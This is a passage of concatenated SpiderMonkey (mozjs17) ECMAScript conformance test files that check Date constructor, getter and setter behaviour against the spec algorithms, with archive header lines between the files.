TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.20.js0000664000175000017500000000264212106270663020251 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.20.js ECMA Section: 15.9.5.20 Description: Date.prototype.getMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.20"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getMilliseconds()", NaN, (new Date(NaN)).getMilliseconds() ); new TestCase( SECTION, "Date.prototype.getMilliseconds.length", 0, Date.prototype.getMilliseconds.length ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getMilliseconds()", msFromTime(LocalTime(t)), (new Date(t)).getMilliseconds() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.37-3.js0000664000175000017500000001245212106270663020421 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.37-1.js ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getUTCMonth( ). If date is not specified, this behaves as if date were specified with the value getUTCDate( ). 1. Let t be this time value; but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute MakeDate(Result(5), TimeWithinDay(t)). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added some Year 2000 test cases. */ var SECTION = "15.9.5.37-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )"); // Dates around 29 February 2000 var UTC_FEB_29_1972 = TIME_1970 + TimeInYear(1970) + TimeInYear(1971) + 31*msPerDay + 28*msPerDay; var PST_FEB_29_1972 = UTC_FEB_29_1972 - TZ_DIFF * msPerHour; addNewTestCase( "TDATE = new Date("+UTC_FEB_29_1972+"); "+ "TDATE.setUTCFullYear(2000);TDATE", UTCDateFromTime(SetUTCFullYear(UTC_FEB_29_1972,2000)), LocalDateFromTime(SetUTCFullYear(UTC_FEB_29_1972,2000)) ); addNewTestCase( "TDATE = new Date("+PST_FEB_29_1972+"); "+ "TDATE.setUTCFullYear(2000);TDATE", UTCDateFromTime(SetUTCFullYear(PST_FEB_29_1972,2000)), LocalDateFromTime(SetUTCFullYear(PST_FEB_29_1972,2000)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCFullYear( t, year, mon, date ) { var T = ( t != t ) ? 0 : t; var YEAR = Number(year); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.36-5.js0000664000175000017500000001236212106270663020422 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.36-1.js ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getMonth( ). If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value); but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added test cases for Year 2000 Compatilibity Testing. */ var SECTION = "15.9.5.36-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )"); // 2000 addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000);TDATE", UTCDateFromTime(SetFullYear(0,2000)), LocalDateFromTime(SetFullYear(0,2000)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,0);TDATE", UTCDateFromTime(SetFullYear(0,2000,0)), LocalDateFromTime(SetFullYear(0,2000,0)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,0,1);TDATE", UTCDateFromTime(SetFullYear(0,2000,0,1)), LocalDateFromTime(SetFullYear(0,2000,0,1)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetFullYear( t, year, mon, date ) { var T = ( isNaN(t) ) ? 0 : LocalTime(t) ; var YEAR = Number( year ); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T))); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-9.js0000664000175000017500000000265312106270663020420 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); // some daylight savings time cases var DST_START_1998 = GetDSTStart(TimeFromYear(1998)); addTestCase( DST_START_1998-1 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-4.js0000664000175000017500000000761612106270663020424 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, 946684800000 ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.js0000664000175000017500000000324412106270663020030 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.js ECMA Section: 15.9.5 Properties of the Date prototype object Description: The Date prototype object is itself a Date object (its [[Class]] is "Date") whose value is NaN. The value of the internal [[Prototype]] property of the Date prototype object is the Object prototype object (15.2.3.1). In following descriptions of functions that are properties of the Date prototype object, the phrase "this Date object" refers to the object that is the this value for the invocation of the function; it is an error if this does not refer to an object for which the value of the internal [[Class]] property is "Date". Also, the phrase "this time value" refers to the number value for the time represented by this Date object, that is, the value of the internal [[Value]] property of this Date object. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Date Prototype Object"; writeHeaderToLog( SECTION + " "+ TITLE); Date.prototype.getClass = Object.prototype.toString; new TestCase( SECTION, "Date.prototype.getClass", "[object Date]", Date.prototype.getClass() ); new TestCase( SECTION, "Date.prototype.valueOf()", NaN, Date.prototype.valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.1.1-2.js0000664000175000017500000000306412106270663020322 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.1.1-2.js ECMA Section: 15.9.1.1 Time Range Description: - leap seconds are ignored - assume 86400000 ms / day - numbers range fom +/- 9,007,199,254,740,991 - ms precision for any instant that is within approximately +/-285,616 years from 1 jan 1970 UTC - range of times supported is -100,000,000 days to 100,000,000 days from 1 jan 1970 12:00 am - time supported is 8.64e5*10e8 milliseconds from 1 jan 1970 UTC (+/-273972.6027397 years) Author: christine@netscape.com Date: 9 july 1997 */ // every one hundred years contains: // 24 years with 366 days // // every four hundred years contains: // 97 years with 366 days // 303 years with 365 days // // 86400000*366*97 = 3067372800000 // +86400000*365*303 = + 9555408000000 // = 1.26227808e+13 var FOUR_HUNDRED_YEARS = 1.26227808e+13; var SECTION = "15.9.1.1-2"; writeHeaderToLog("15.9.1.1 Time Range"); var M_SECS; var CURRENT_YEAR; for ( M_SECS = 0, CURRENT_YEAR = 1970; M_SECS > -8640000000000000; M_SECS -= FOUR_HUNDRED_YEARS, CURRENT_YEAR -= 400 ) { new TestCase( SECTION, "new Date("+M_SECS+")", CURRENT_YEAR, (new Date( M_SECS )).getUTCFullYear() ); } test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.1-5.js0000664000175000017500000001073712106270663020334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.9.3.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; writeHeaderToLog( SECTION + " "+ TITLE); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - // Dates around 2005 addNewTestCase( new Date(2005,0,1,0,0,0,0), "new Date(2005,0,1,0,0,0,0)", [UTC_JAN_1_2005-PST_ADJUST,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] ); addNewTestCase( new Date(2004,11,31,16,0,0,0), "new Date(2004,11,31,16,0,0,0)", [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.11-6.js0000664000175000017500000000214712106270663020414 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.11.js ECMA Section: 15.9.5.11 Description: Date.prototype.getUTCDate 1.Let t be this time value. 2.If t is NaN, return NaN. 1.Return DateFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_FEB_29_2000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDate()", DateFromTime(d), (new Date(d)).getUTCDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.11-5.js0000664000175000017500000000214112106270663020405 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.11.js ECMA Section: 15.9.5.11 Description: Date.prototype.getUTCDate 1.Let t be this time value. 2.If t is NaN, return NaN. 1.Return DateFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_2000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDate()", DateFromTime(d), (new Date(d)).getUTCDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.11-1.js0000664000175000017500000000214012106270663020400 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.11.js ECMA Section: 15.9.5.11 Description: Date.prototype.getUTCDate 1.Let t be this time value. 2.If t is NaN, return NaN. 1.Return DateFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDate()", DateFromTime(d), (new Date(d)).getUTCDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.8.js0000664000175000017500000000442012106270663020173 0ustar sstanglsstangl// |reftest| fails-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.8.js ECMA Section: 15.9.5.8 Description: Date.prototype.getMonth 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return MonthFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.8"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getMonth()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getMonth()", NaN, (new Date(NaN)).getMonth() ); new TestCase( SECTION, "Date.prototype.getMonth.length", 0, Date.prototype.getMonth.length ); test(); function addTestCase( t ) { var leap = InLeapYear(t); for ( var m = 0; m < 12; m++ ) { t += TimeInMonth(m, leap); new TestCase( SECTION, "(new Date("+t+")).getMonth()", MonthFromTime(LocalTime(t)), (new Date(t)).getMonth() ); new TestCase( SECTION, "(new Date("+(t+1)+")).getMonth()", 